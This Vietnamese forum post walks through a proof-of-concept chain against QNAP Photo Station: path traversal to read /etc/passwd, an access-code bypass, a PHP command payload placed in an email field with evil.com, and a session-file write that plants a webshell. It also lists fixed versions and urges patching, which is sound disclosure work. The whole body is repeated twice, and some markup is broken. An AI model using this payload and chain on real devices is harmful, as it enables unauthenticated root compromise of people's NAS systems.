sImplePerson
Member
-
23/03/2020
-
11
-
28 bài viết
PoC khai thác lỗ hổng RCE trong các thiết bị QNAP
Trong bài viết này, mình sẽ chia sẻ cách khai thác lỗ hổng RCE trong các thiết bị QNAP còn tồn tại các lỗ hổng.
Đây là bài viết mình tham khảo trên trang medium và đã thực hành thành công. Bài viết chỉ mang tính chất học tập, không khuyến khích các bạn áp dụng trên thực tế.
Cách thức khai thác
Lỗ hổng 1: Tiết lộ tệp local trước khi xác thực (Pre-Auth Local File Disclosure) (Hiệu quả là bỏ qua đăng nhập)
Lỗ hổng này cho phép kẻ tấn công đọc các tệp tùy ý trên máy chủ QNAP mà không cần xác thực.
Đoạn code dễ bị tấn công :
Đoạn code dễ bị tấn công nằm trong đường dẫn /p/api/video.php :
Hình 1. Đoạn code dễ bị tấn công
exportFile chỉ đơn giản là xuất nội dung tệp của [imath]source_file[/B], được kiểm soát hoàn toàn bởi tệp tham số [B]GET/POST. [/B]Do đó, chúng ta có thể đọc các tệp tùy ý bằng cách chỉ định, VD: [B]=./../etc/passwd[/B], ta có thể tạo [B][/imath]source_file thành /share/./../etc/passwd, tương đương với /etc/passwd.
Tuy nhiên, để khai thác được đoạn code dễ bị tấn công ở trên, chúng ta cần qua mặt được hàm kiểm tra CHECK_ACCESS_CODE:
Hình 2. Kiểm tra mã truy cập trước lỗ hổng
Dưới đây là cấu trúc của hàm kiểm tra CHECK_ACCESS_CODE :
Hình 3. Cấu trúc hàm CHECK_ACCESS_CODE
Để làm được điều này, chúng ta cần tránh exit (). Cụ thể :
- Nhận ID album và mã truy cập của 1 album có thể truy cập công khai
- Tải mã truy cập album đó vào $ _SESSION['access_code']
- Nhận giá trị của $ _SESSION ['access_code']
Có thể thực hiện tất cả các bước trên rất dễ dàng mà KHÔNG cần xác thực
Dưới đây là các bước để vượt qua hàm CHECK_ACCESS_CODE:
Bước 1: Tạo và lấy mã ID của album mẫu
Yêu cầu dưới đây tạo một album mẫu và trả về ID album của đó. API dành cho các album mẫu, do đó, nó có thể truy cập công khai, và không yêu cầu xác thực:
Hình 4. Tạo album mẫu và truy xuất ID album
Sau khi gửi yêu cầu tạo album mẫu và truy xuất ID album, mình đã nhận được 1 phản hồi như dưới đây:
Hình 5. Phản hồi chứa ID của Album mẫu đã được tạo
Với việc gửi yêu cầu tạo album mẫu, server đã tạo thành công và gửi lại 1 ID album cho mình là: cJinsP
Bước 2: Sử dụng ID của Album để nhận được $_SESSION['access_code']
Tiếp đó, mình sẽ gửi 1 request về phía server với mã truy cập của album mà mình đã tạo (?Album=cJinsP)
Hình 6. Gửi Request về server với ID album đã được tạo
Sau khi nhận được phản hồi từ phía server, mình đã tìm thấy $_SESSION['access_code'] trong đoạn Javascrip có trong html mà phía server phản hồi lại.
Hình 7. Phản hồi cho /photo/slideshow.php - Giá trị của $ _SESSION [‘access_code’]
Giá trị nhận được là “MHwxfDE1OTExNjI0NDQ=” .Với ID album và mã truy cập, mình có thể bỏ qua CHECK_ACCESS_CODE và đọc các tệp tùy ý mà không cần xác thực bằng cách gửi các yêu cầu về phía server như dưới đây:
Hình 8. Gửi request đến server để đọc thư mục passwd
Hình 9. Kết quả nhận được khi khai thác thành công
Lỗ hổng 2: Giả mạo phiên xác thực - Viết mã PHP vào phiên
Được xác thực là người sử dụng, cho phép mình truy cập vào cài đặt SMTP. Ví dụ, bằng cách đặt email đến <? = `$ _POST [c]`?> @ Evil.com, mình đã được xác thực và có thể viết mã PHP tùy ý vào phiên.
Hình 10. Viết mã PHP vào $ _SESSION
Lỗ hổng 3: Viết mã PHP vào vị trí tùy ý
Lỗ hổng này cho mình ghi nội dung ($ _SESSION) vào một vị trí tùy ý trên máy chủ mà không cần xác thực.
Đoạn mã bị khai thác:
Hình 11. Đoạn mã bị khai thác để tạo file trên server.
Session_id () hoàn toàn có thể kiểm soát thông qua cookie QMS_SID. Do đó, dòng mình đánh dấu sẽ ghi một phiên được mã hóa (tuần tự hóa) vào tệp mà mình chỉ định.
Để khai thách lỗ hổng này mình gửi một request đến server có dạng như sau
Hình 12. Gửi Request đến server để tạo 1 file a.php
Sử dụng đoạn mã “ $musicStationSessionPath . ‘/sess_' . session_id() “ để tạo /share/photostation/session/qts/sess_xxxxx/../../../../../mnt/ext/opt/photostation2/a.php. Sau khi tạo mã php thành công, bạn có thể truy cập đường dẫn đường dẫn /photo/a.php.
Với lỗ hổng này, mình có thể viết một đoạn mã PHP bị nhiễm mã độc vào thư mục web của Photo Station để tạo webshell.
Phiên bản bị ảnh hưởng
Tất cả các phiên bản có thể tải xuống trước các phiên bản cố định (6.0.3, 5.2.11, 5.4.9) đều bị ảnh hưởng.
Truy cập link, để biết chi tiết về thông tin phiên bản và cách khắc phục các lỗ hổng.
Ba lỗ hổng trên hoạt động trên tất cả các mô hình NAS QNAP. Với việc, QNAP chạy máy chủ web với quyền root, hy vọng họ sẽ đưa ra bản vá cho việc này, nếu không mình khá chắc chắn rằng sẽ có nhiều lỗ hổng CVE với điểm CVSS cao.
QNAP có thể cần tiến hành kiểm tra bảo mật kỹ lưỡng về cơ sở và cấu hình mã của họ, vì các chương trình CGI và mã PHP của họ chứa rất nhiều trường hợp nối chuỗi không đúng cách.
QNAP đã đưa ra các bản update mới để vá những lỗ hổng trên, những cá nhân hoặc tổ chức đang sử dụng dịch vụ này, hãy update lên phiên bản mới nhất hoặc sử dụng tường lửa để hạn chế những truy cập từ bên ngoài.
Cách thức khai thác
Lỗ hổng 1: Tiết lộ tệp local trước khi xác thực (Pre-Auth Local File Disclosure) (Hiệu quả là bỏ qua đăng nhập)
Lỗ hổng này cho phép kẻ tấn công đọc các tệp tùy ý trên máy chủ QNAP mà không cần xác thực.
Đoạn code dễ bị tấn công :
Đoạn code dễ bị tấn công nằm trong đường dẫn /p/api/video.php :
Hình 1. Đoạn code dễ bị tấn công
exportFile chỉ đơn giản là xuất nội dung tệp của [imath]source_file[/B], được kiểm soát hoàn toàn bởi tệp tham số [B]GET/POST. [/B]Do đó, chúng ta có thể đọc các tệp tùy ý bằng cách chỉ định, VD: [B]=./../etc/passwd[/B], ta có thể tạo [B][/imath]source_file thành /share/./../etc/passwd, tương đương với /etc/passwd.
Tuy nhiên, để khai thác được đoạn code dễ bị tấn công ở trên, chúng ta cần qua mặt được hàm kiểm tra CHECK_ACCESS_CODE:
Hình 2. Kiểm tra mã truy cập trước lỗ hổng
Dưới đây là cấu trúc của hàm kiểm tra CHECK_ACCESS_CODE :
Hình 3. Cấu trúc hàm CHECK_ACCESS_CODE
Để làm được điều này, chúng ta cần tránh exit (). Cụ thể :
- Nhận ID album và mã truy cập của 1 album có thể truy cập công khai
- Tải mã truy cập album đó vào $ _SESSION['access_code']
- Nhận giá trị của $ _SESSION ['access_code']
Có thể thực hiện tất cả các bước trên rất dễ dàng mà KHÔNG cần xác thực
Dưới đây là các bước để vượt qua hàm CHECK_ACCESS_CODE:
Bước 1: Tạo và lấy mã ID của album mẫu
Yêu cầu dưới đây tạo một album mẫu và trả về ID album của đó. API dành cho các album mẫu, do đó, nó có thể truy cập công khai, và không yêu cầu xác thực:
Hình 4. Tạo album mẫu và truy xuất ID album
Sau khi gửi yêu cầu tạo album mẫu và truy xuất ID album, mình đã nhận được 1 phản hồi như dưới đây:
Hình 5. Phản hồi chứa ID của Album mẫu đã được tạo
Với việc gửi yêu cầu tạo album mẫu, server đã tạo thành công và gửi lại 1 ID album cho mình là: cJinsP
Bước 2: Sử dụng ID của Album để nhận được $_SESSION['access_code']
Tiếp đó, mình sẽ gửi 1 request về phía server với mã truy cập của album mà mình đã tạo (?Album=cJinsP)
Hình 6. Gửi Request về server với ID album đã được tạo
Sau khi nhận được phản hồi từ phía server, mình đã tìm thấy $_SESSION['access_code'] trong đoạn Javascrip có trong html mà phía server phản hồi lại.
Hình 7. Phản hồi cho /photo/slideshow.php - Giá trị của $ _SESSION [‘access_code’]
Giá trị nhận được là “MHwxfDE1OTExNjI0NDQ=” .Với ID album và mã truy cập, mình có thể bỏ qua CHECK_ACCESS_CODE và đọc các tệp tùy ý mà không cần xác thực bằng cách gửi các yêu cầu về phía server như dưới đây:
Hình 8. Gửi request đến server để đọc thư mục passwd
Hình 9. Kết quả nhận được khi khai thác thành công
Lỗ hổng 2: Giả mạo phiên xác thực - Viết mã PHP vào phiên
Được xác thực là người sử dụng, cho phép mình truy cập vào cài đặt SMTP. Ví dụ, bằng cách đặt email đến <? = `$ _POST [c]`?> @ Evil.com, mình đã được xác thực và có thể viết mã PHP tùy ý vào phiên.
Hình 10. Viết mã PHP vào $ _SESSION
Lỗ hổng 3: Viết mã PHP vào vị trí tùy ý
Lỗ hổng này cho mình ghi nội dung ($ _SESSION) vào một vị trí tùy ý trên máy chủ mà không cần xác thực.
Đoạn mã bị khai thác:
Hình 11. Đoạn mã bị khai thác để tạo file trên server.
Session_id () hoàn toàn có thể kiểm soát thông qua cookie QMS_SID. Do đó, dòng mình đánh dấu sẽ ghi một phiên được mã hóa (tuần tự hóa) vào tệp mà mình chỉ định.
Để khai thách lỗ hổng này mình gửi một request đến server có dạng như sau
Hình 12. Gửi Request đến server để tạo 1 file a.php
Sử dụng đoạn mã “ $musicStationSessionPath . ‘/sess_' . session_id() “ để tạo /share/photostation/session/qts/sess_xxxxx/../../../../../mnt/ext/opt/photostation2/a.php. Sau khi tạo mã php thành công, bạn có thể truy cập đường dẫn đường dẫn /photo/a.php.
Với lỗ hổng này, mình có thể viết một đoạn mã PHP bị nhiễm mã độc vào thư mục web của Photo Station để tạo webshell.
Phiên bản bị ảnh hưởng
Tất cả các phiên bản có thể tải xuống trước các phiên bản cố định (6.0.3, 5.2.11, 5.4.9) đều bị ảnh hưởng.
Truy cập link, để biết chi tiết về thông tin phiên bản và cách khắc phục các lỗ hổng.
Ba lỗ hổng trên hoạt động trên tất cả các mô hình NAS QNAP. Với việc, QNAP chạy máy chủ web với quyền root, hy vọng họ sẽ đưa ra bản vá cho việc này, nếu không mình khá chắc chắn rằng sẽ có nhiều lỗ hổng CVE với điểm CVSS cao.
QNAP có thể cần tiến hành kiểm tra bảo mật kỹ lưỡng về cơ sở và cấu hình mã của họ, vì các chương trình CGI và mã PHP của họ chứa rất nhiều trường hợp nối chuỗi không đúng cách.
QNAP đã đưa ra các bản update mới để vá những lỗ hổng trên, những cá nhân hoặc tổ chức đang sử dụng dịch vụ này, hãy update lên phiên bản mới nhất hoặc sử dụng tường lửa để hạn chế những truy cập từ bên ngoài.
Chỉnh sửa lần cuối bởi người điều hành: